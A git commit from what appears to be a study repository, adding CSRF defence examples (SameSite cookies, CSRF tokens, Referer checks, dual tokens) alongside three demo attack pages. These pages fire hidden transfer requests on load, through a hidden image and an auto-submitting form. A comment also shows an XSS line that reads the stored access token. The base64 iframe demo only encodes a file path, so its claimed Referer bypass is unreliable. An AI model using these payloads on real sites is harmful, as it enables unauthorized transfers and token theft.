feat[ptr]: CSRF danger example and 5 ways to solve

ceilf6 · ceilf6 · commit 3d687dd1827e · 2026-02-07T18:37:35.000+08:00
diff --git a/network/cookie/CSRF/1-noCookie.js b/network/cookie/CSRF/1-noCookie.js
@@ -0,0 +1,39 @@
+// 直接不用cookie，用 H5 的 localStorage ，但是兼容性可能较差、并且攻击者可以 
+// XSS: alert(localStorage.getItem("access_token"));
+// 
+
+// login.js
+async function login(username, password) {
+    const res = await fetch("https://api.example.com/login", {
+        method: "POST",
+        headers: {
+            "Content-Type": "application/json"
+        },
+        body: JSON.stringify({ username, password })
+    });
+
+    const data = await res.json();
+
+    // token 存 localStorage
+    localStorage.setItem("access_token", data.token);
+
+    console.log("登录成功，token 已保存");
+}
+
+
+// request.js
+function authFetch(url, options = {}) {
+    const token = localStorage.getItem("access_token");
+
+    return fetch(url, {
+        ...options,
+        headers: {
+            ...(options.headers || {}),
+            Authorization: `Bearer ${token}`
+        }
+    });
+}
+
+authFetch("https://api.example.com/profile")
+    .then(res => res.json())
+    .then(data => console.log("用户信息:", data));
diff --git a/network/cookie/CSRF/2-samesite.js b/network/cookie/CSRF/2-samesite.js
@@ -0,0 +1,14 @@
+// 防御力强
+// 但是可能误伤跨站资源、例如图片，所以也可以开启宽松 Lax 只扼杀 post ，放过 get
+
+app.post("/login", (req, res) => {
+    const token = "session_id_abc123";
+
+    res.cookie("session_id", token, {
+        httpOnly: true,     // JS 无法读取，防 XSS 偷 cookie
+        secure: true,       // 只能 HTTPS
+        sameSite: "strict", // 跨站请求不携带 cookie
+    });
+
+    res.json({ message: "登录成功" });
+});
diff --git a/network/cookie/CSRF/3-CSRF-Token.js b/network/cookie/CSRF/3-CSRF-Token.js
@@ -0,0 +1,23 @@
+// 在用户操作时后端返回 CSRF cookie 这是一次性的，仅能用于当前操作
+
+async function initCsrf() {
+    const res = await fetch("/csrf", { credentials: "include" });
+    const data = await res.json();
+    sessionStorage.setItem("csrfToken", data.csrfToken);
+}
+
+async function transfer() {
+    const csrfToken = sessionStorage.getItem("csrfToken");
+
+    const res = await fetch("/transfer", {
+        method: "POST",
+        credentials: "include",
+        headers: {
+            "Content-Type": "application/json",
+            "X-CSRF-Token": csrfToken,
+        },
+        body: JSON.stringify({ to: "bob", amount: 100 }),
+    });
+
+    console.log(await res.json());
+}
diff --git a/network/cookie/CSRF/4-referer.js b/network/cookie/CSRF/4-referer.js
@@ -0,0 +1,2 @@
+// 查看请求头的 referer
+// 但是如果用了 base64 编码，请求头就不会携带 referer ，例如 network/cookie/CSRF/danger2Iframe.html
diff --git a/network/cookie/CSRF/5-Access+Refresh.md b/network/cookie/CSRF/5-Access+Refresh.md
@@ -0,0 +1,33 @@
+# 长短期双Token
+
+**短期**令牌 Access Token 放在前端例如 **localStorage** 中
+
+**长期**令牌 Refresh Token 放在 **HttpOnly Cookie 中供服务器端**使用（防XSS），且开启 Secure
+
+1. 登录
+    1. 前端发送 POST 请求
+    2. 服务器验证成功后返回 长期令牌 - 浏览器自动放到 Cookie 中；
+    
+    ```jsx
+    Set-Cookie: refresh_token=xxx; HttpOnly; Secure; SameSite=Lax; Max-Age=7d
+    ```
+    
+    并在 响应体 中返回 短期令牌 - 前端保存到内存（JS变量）或者 localStorage 中
+    
+    ```jsx
+    {
+      "access_token": "xxx",
+      "expire_in": 900
+    }
+    ```
+    
+2. 调用业务 API 时，请求手动携带 Access Token
+    
+    ```jsx
+    GET /api/userinfo
+    Authorization: Bearer ACCESS_TOKEN
+    ```
+    
+    1. 没有过期的话直接服务器验证然后返回
+    2. 如果服务器返回 **401** 表示短期令牌 Access Token 过期了，那么前端立即调用 POST /api/refresh_token **携带上 长期令牌 refresh_token 去请求**，服务器端验证长期令牌成功后会在响应体中返回新的 短期令牌 ，前端更新 Access Token
+    3. 如果返回 **403** 表示长期令牌也过期了，那么就需要重新登录
diff --git a/network/cookie/CSRF/danger.html b/network/cookie/CSRF/danger.html
@@ -0,0 +1,20 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Document</title>
+</head>
+
+<body>
+    <img src="https://bank.com/transfer?to=ceilf6&money=1000000" alt="">
+</body>
+
+</html>
+
+<style>
+    img {
+        display: none;
+    }
+</style>
diff --git a/network/cookie/CSRF/danger2Attack.html b/network/cookie/CSRF/danger2Attack.html
@@ -0,0 +1,22 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+    <meta charset="UTF-8" />
+    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <title>Document</title>
+</head>
+
+<body>
+    <form action="http://localhost:3000/transfer" method="post">
+        <input type="text" name="to" value="ceilf6" />
+        <input type="text" name="money" value="1000000" />
+    </form>
+
+    <script>
+        document.querySelector('form').submit();
+    </script>
+</body>
+
+</html>
diff --git a/network/cookie/CSRF/danger2Iframe.html b/network/cookie/CSRF/danger2Iframe.html
@@ -0,0 +1,16 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+    <meta charset="UTF-8" />
+    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <title>Document</title>
+</head>
+
+<body>
+    <!-- src="./danger2Attack.html"  -->
+    <iframe src="data:text/html;base64,Li9kYW5nZXIyQXR0YWNrLmh0bWw=" frameborder="0" style="display: none"></iframe>
+</body>
+
+</html>

Original file line number	Diff line number	Diff line change
`@@ -0,0 +1,2 @@`
	`1`	`+// 查看请求头的 referer`
	`2`	`+// 但是如果用了 base64 编码，请求头就不会携带 referer ，例如 network/cookie/CSRF/danger2Iframe.html`